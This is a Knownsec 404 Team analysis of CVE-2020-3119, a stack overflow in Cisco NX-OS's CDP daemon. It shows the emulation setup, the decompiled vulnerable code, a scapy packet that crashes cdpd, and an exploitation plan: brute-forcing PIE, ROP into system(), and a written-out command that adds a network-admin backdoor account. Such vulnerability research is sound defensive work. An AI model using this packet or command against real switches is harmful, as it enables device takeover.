CVE-2020-3119 Cisco CDP Stack Overflow Analysis
Author:Hcamael@Knownsec 404 Team
Time: March 19, 2020
Chinese version:https://paper.seebug.org/1154/
The Cisco Discovery Protocol (CDP) is a link layer protocol used to discover Cisco devices in a LAN.
Recently, Cisco CDP protocol discovered several loopholes, and picked up stack overflow --cve-2020-3119 to analysis ,Armis labs also published analysis paper.
Build the Environment
The CVE-3119 affects Cisco NX-OS system devices, we can find the device version affected by the vulnerability in Cisco Security Center. We can get NX-OS 9.2.3 firmware from Cisco Download Center
First, I tried to use binwalk
to decompress the firmware, but I encountered some problems. Too much xz compressed data in NX-OS firmware, binwalk
consumes a lot of time when dealing with firmware in this case.
I spent two days without decompressing the firmware. But I can't find a substitute result.
So I decided to find a way to get the firmware up, and I found a software that can perform firmware emulation of Cisco devices -- GNS3.
How To Use GNS3
After we download GNS3, we also need to download GNS3 VM. GNS3 VM as GNS3 server, can run directly using virtual machine, and we use GNS3 control server for firmware simulation.
1.Set GNS3 VM
2.Create a New Template
3.Choose Switches -> Cisco NX-OSv 9000
We find that GNS3 uses qemu to simulate NX-OS, so the firmware we downloaded from the Cisco Download Center requires qcow2 format.
Then Import the corresponding firmware into GNS3 VM。
After the import is completed, we can see the newly added device in the switches column.
4.Connect the NX-OS and Cloud
In the above image, Toolbox-1
is my newly added ubuntu docker template. At the beginning of research, I connected the Toolbox-1
directly to the NX-OS switch.
But then I found out that GNS3 has a template called Cloud(For example Cloud1 in the picture above). The Cloud can represent any NIC on the local device or any NIC on the GNS3 VM.
I have a frequently used ubuntu VM in my Mac. I let the NIC of this ubuntu VM directly connect with the NX-OS switch, this is convenient for my subsequent research.
In the process of research, we can click this straight line on right, use wireshark
capture the network traffic.
5.Start all nodes
The last step is to click the start button on the upper toolbar to start all your devices.
NX-OS Switch Binary Research
However, The network is not working yet, and you need to log the switch through several port to configure the Switch. GNS3 will forward the serial port of the Switch through telnet by default. We can see the telnet IP/Port through the upper right corner of the GNS3.
The first time you log in to the switch requires initial setup. After setup, you can log in to the Cisco management shell with the administrator account password you set.
After research we found that qemu started one bootloader, and bootloader start nxos.9.2.3.bin(NX-OS firmware), this is a Linux System. Then the Linux start a Linux VM called guestshell
. Under default circumstances, we can only log into this guestshell
.
The terminal we use to log in through telnet and configuring Cisco Switch is not bash, this program called vsh.bin.
The vulnerability in this research occurred in a cdpd
program, but we can't find the cdpd in guestshell
. So we need to find a way to get the terminal of the outer system.
After subsequent research, it was found that there is a python command in vsh, and this python is an nxpython program that exists in the Cisco outer system. So we can use python to get the Linux shell of the Cisco outer system.
Then use the mac address to find the NIC you set up in GNS3, and set the IP address. Then we can directly access the terminal of the Cisco outer system through ssh.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
bash Cisco# python Python 2.7.11 (default, Feb 26 2018, 03:34:16) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.system("/bin/bash") bash-4.3$ id uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator) bash-4.3$ sudo -i root@Cisco#ifconfig eth8 eth8 Link encap:Ethernet HWaddr 0c:76:e2:d1:ac:07 inet addr:192.168.102.21 Bcast:192.168.102.255 Mask:255.255.255.0 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61 TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:6639702 (6.3 MiB) TX bytes:246035115 (234.6 MiB) root@Cisco#ps aux|grep cdp root 10296 0.0 0.8 835212 70768 ? Ss Mar18 0:01 /isan/bin/cdpd root 24861 0.0 0.0 5948 1708 ttyS0 S+ 05:30 0:00 grep cdp |
Use Scapy to send CDP packet
Next we will research how to send cdp packets. You can see the cdp packet format in the analysis released by Armis Labs. Similarly, we can also open the cdp of Cisco Switch and view the cdp packets sent by Cisco Switch.
1 2 3 4 5 6 7 8 9 10 11 12 |
Cisco#conf ter Cisco(config)# cdp enable # ethernet 1/7 is the directly connected to ubuntu VM. Cisco(config)# interface ethernet 1/7 Cisco(config-if)# no shutdown Cisco(config-if)# cdp enable Cisco(config-if)# end Cisco# show cdp interface ethernet 1/7 Ethernet1/7 is up CDP enabled on interface Refresh time is 60 seconds Hold time is 180 seconds |
Then we can directly capture the packet of the NIC through wireshark or GNS3. Now, We can research the format of the CDP.
Because I am used to writing PoC using python, I started to study how to use python to send CDP protocol packets, and then I found that scapy
has some built-in CDP packet related content.
Here is a simple example:
1 2 |
from scapy.contrib import cdp from scapy.all import Ether, LLC, SNAP |
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# link layer l2_packet = Ether(dst="01:00:0c:cc:cc:cc") # Logical-Link Control l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP() # Cisco Discovery Protocol cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180) deviceid = cdp.CDPMsgDeviceID(val=cmd) portid = cdp.CDPMsgPortID(iface=b"ens38") address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3")) cap = cdp.CDPMsgCapabilities(cap=1) cdp_packet = cdp_v2/deviceid/portid/address/cap packet = l2_packet / cdp_packet sendp(packet) |
Trigger the vulnerability
The next step is to research how to trigger the vulnerability. First, scp the cdpd
from the switch, and then throw the binary into IDA
to find the vulnerability. According to the vulnerability analysis released by Armis Labs, it was found that the vulnerability exists in the cdpd_poe_handle_pwr_tlvs
function. The related vulnerability code is as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
if ( (signed int)v28 > 0 ) { v35 = (int *)(a3 + 4); v9 = 1; do { v37 = v9 - 1; v41[v9 - 1] = *v35; *(&v40 + v9) = _byteswap_ulong(*(&v40 + v9)); if ( !sdwrap_hist_event_subtype_check(7536640, 104) ) { *(_DWORD *)v38 = 104; snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9)); sdwrap_hist_event(7536640, strlen(&s) + 5, v38); } if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) ) { v24 = *(&v40 + v9); buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n"); } snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24); sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38); *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9); ++v35; ++v9; } while ( v9 != v28 + 1 ); } |
The follow-up is still based on the contents of the Armis Labs vulnerability analysis article. As long as the Power Request and Power Level are added to the cdp package, the cdpd program crash can be triggered:
1 2 3 |
power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21) power_level = cdp.CDPMsgPower(power=16) cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level |
How to exploit
First ,look at the protection of the binary program:
1 2 3 4 5 6 7 8 |
$ checksec cdpd_9.2.3 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RPATH: '/isan/lib/convert:/isan/lib:/isanboot/lib' |
This is a 32-bit program, and only enabled NX and PIE.
Because the cdpd
program cannot interact, it can only send all the payloads at one time, so there is no way to leak the address. But because it is a 32-bit program, and the cdpd
program will restart automatically after each crash, so we can blast the cdpd
program address.
There are a few things to note before writing a exploitation script:
1.After the stack overflow overwrites the return address, it will continue to overwrite the address of the function parameter.
1 |
*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9); |
Because of the above code, a value needs to be written to the address near the a1
address. If we only cover the return address, you cannot achieve the purpose of command execution by only jumping to an address. So our payload needs to overwrite a1
with a writable address.
2.In the cdpd_poe_handle_pwr_tlvs
function, many branches will go to thecdpd_send_pwr_req_to_poed
function, and there is a __memcpy_to_buf
function in this function. This function limits the length of thePower Requested
to less than 40 bytes. Such a short length is not enough for stack overflow. So we cannot go to the branch that will call cdpd_send_pwr_req_to_poed
function.
1 2 3 4 |
v10 = *(_WORD *)(a1 + 1208); v11 = *(_WORD *)(a1 + 1204); v12 = *(_DWORD *)(a1 + 1212); if ( v32 != v10 || v31 != v11 ) |
We need to make this condition evaluate to False
and not enter this branch. Therefore, the value of the a1 address to be covered needs to be constructed.
3.The purpose of our use is not to execute execve("/bin/bash")
, because there is no interaction, so even if this command is executed, it is useless. So what can we do? First, we can execute the code of the reverse shell. Second, we can add an Administrator account, such as executing the following command:
1 |
/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin" |
We can achieve these purpose by executing system (cmd)
. But how to pass the parameters? After research, we found that the contents of the DeviceID
related fields in the CDP protocol are stored on the heap, and the heap address is stored on the stack. We can adjust the stack address by ret
ROP. This will successfully pass arbitrary parameters to the system
function.
Finally, put a demo video:
Reference
- https://go.armis.com/hubfs/White-papers/Armis-CDPwn-WP.pdf
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce
- https://software.cisco.com/download/home/286312239/type/282088129/release/9.2(3)?i=!pp
- https://scapy.readthedocs.io/en/latest/api/scapy.contrib.cdp.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1156/